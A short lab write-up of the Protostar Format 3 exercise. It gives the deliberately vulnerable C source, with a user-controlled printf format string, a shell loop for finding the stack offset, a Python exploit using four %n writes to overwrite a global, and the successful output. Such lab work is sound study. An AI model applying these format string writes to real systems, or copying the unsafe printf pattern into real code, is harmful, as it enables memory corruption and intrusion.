# Format 3 protostar

Sunday, 16 June 2019 6:46 AM

## Command to format parameters

for i in {1..15}; do echo $i; echo $(python -c "print 'AAAA%$i\$x'") | ./format3; echo; done

## Lies at parameter 12

```
12
AAAA41414141
target is 00000000 :(
```

## Target addr

```
0x0804849d <vuln+54>:    mov    eax,ds:0x80496f4
0x080484a2 <vuln+59>:    cmp    eax,0x1025544
```

## Source code

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
  printf(string);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printbuffer(buffer);

  if(target == 0x01025544) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}
```

## Exploit code (4 writes)

```python
#!/usr/bin/python
import struct

def main():
        # 0x0804849d <vuln+54>:    mov    eax,ds:0x80496f4
        target_addr = 0x80496f4

        first_write = struct.pack("<I", 0x80496f4)
        second_write = struct.pack("<I", 0x80496f4 + 1)
        third_write = struct.pack("<I", 0x80496f4 + 2)
        fourth_write = struct.pack("<I", 0x80496f4 + 3)

        # Parameter: 12
        # Target val: 0x1025544
        payload = ""
        payload += first_write
        payload += second_write
        payload += third_write
        payload += fourth_write

        # payload += "" : target is 00000010 :(
        # 0x44 - 0x10 = 0x34(52)
        payload += "%52x"
        payload += "%12$n"

        # payload += "" : target is 00004444 :(
        # 0x55 - 0x44 = 0x11(17)
        payload += "%17x"
        payload += "%13$n"

        # payload += "" : target is 00555544 :(
        # 0x102 - 0x55 = 0xAD(173)
        payload += "%173x"
        payload += "%14$n"

        print payload


if __name__ == "__main__":
        main()
```

Results

```
user@protostar:~/dev$ ./fmt3.py |/opt/protostar/bin/format3
                                                      0         bffff5a0
                                                                 b7fd7ff4
you have modified the target :)
```